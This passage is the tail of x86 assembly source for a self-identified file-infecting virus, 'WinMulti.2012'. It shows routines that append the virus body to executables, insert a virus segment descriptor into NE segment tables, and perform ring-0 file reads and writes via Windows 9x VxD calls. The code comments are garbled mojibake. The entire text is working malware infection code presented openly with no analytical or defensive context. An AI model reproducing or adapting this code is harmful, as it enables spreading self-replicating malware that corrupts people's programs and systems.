[WinObject-Start32+ebp] Shift: add edx, ecx call Read jc Close sub edx, ecx call Write jc Close add edx, ecx dec word ptr [WinHeader+1Ch-Start32+ebp] cmp word ptr [WinHeader+1Ch-Start32+ebp], 1 jne Shift mov [WinObjectOfs-Start32+ebp], edx ;[‚๋็จแซ๏ฅฌ แฌฅ้ฅญจฅ ขจเใแ  ข ไ ฉซฅ ข กซฎช ๅ] call GetFSize jc Close mov cl, [WinHeader+32h-Start32+ebp] shr eax, cl inc eax ;[‘ฎงค ฅฌ คฅแชเจฏโฎเ ขจเใแญฎฃฎ แฅฃฌฅญโ ] mov [WinObject+00h-Start32+ebp], ax mov [WinObject+02h-Start32+ebp], word ptr CodeSize mov [WinObject+04h-Start32+ebp], word ptr 0180h mov [WinObject+06h-Start32+ebp], word ptr CodeSize ;[‡ ฏจแ๋ข ฅฌ ขจเใแ ข ชฎญฅๆ ไ ฉซ ] shl eax, cl mov ecx, CodeSize+RelocTableSize call WriteVirus2 jc Close ;[‡ ฏจแ๋ข ฅฌ แฅฃฌฅญโ ขจเใแ  ข โ กซจๆใ แฅฃฌฅญโฎข] mov ecx, NEObjectSize mov edx, [WinObjectOfs-Start32+ebp] lea esi, [WinObject-Start32+ebp] call Write jmp Close ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; Ž„Žƒ€ŒŒ› ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ Calc: mov ecx, 512 xor edx, edx div ecx or edx, edx jz $+3 inc eax shl eax, 16 add eax, edx ret WriteVirus1: mov ecx, CodeSize WriteVirus2: xchg edx, eax lea esi, [Start16-EndCode16+ebp] Write: mov eax, 0D601h ; R0_WriteFile jmp FileIO Read: mov eax, 0D600h ; R0_ReadFile jmp FileIO GetFSize: mov eax, 0D800h ; R0_GetFileSize FileIO: push 00400032h ; IFSmgr_Ring0_FileIO call VxDcall ret VxDcall: mov [Int20h-Start32+ebp], word ptr 20CDh pop dword ptr [RetAddr-Start32+ebp] pop dword ptr [VxDfunc-Start32+ebp] Int20h dw 0 VxDfunc dd 0 db 68h RetAddr dd 0 ret ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; „€›… ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ VirName db 'WinMulti.2012 -- Copyright (c) by DJ Sadovnikov' EndCode32 = $ CodeSize = (EndCode32-Start32)+(EndCode16-Start16) RelocTableSize = 0Ah DosHeaderSize = 18h WinHeaderSize = 5Ch ; MAX(PEHeaderSize,NEHeaderSize) WinObjectSize = 28h ; MAX(PEObjectSize,NEObjectSize) PEHeaderSize = 5Ch NEHeaderSize = 40h PEObjectSize = 28h NEObjectSize = 08h RelocTable db RelocTableSize dup (?) ; Don't move this anywhere DosHeader db DosHeaderSize dup (?) WinHeader db WinHeaderSize dup (?) WinObject db WinObjectSize dup (?) FileName db 256 dup (?) WinHeaderOfs dd ? WinObjectOfs dd ? Busy db ? MemSize = (($-Start32)+(EndCode16-Start16))/4096+1 Code32 ends end StartMZ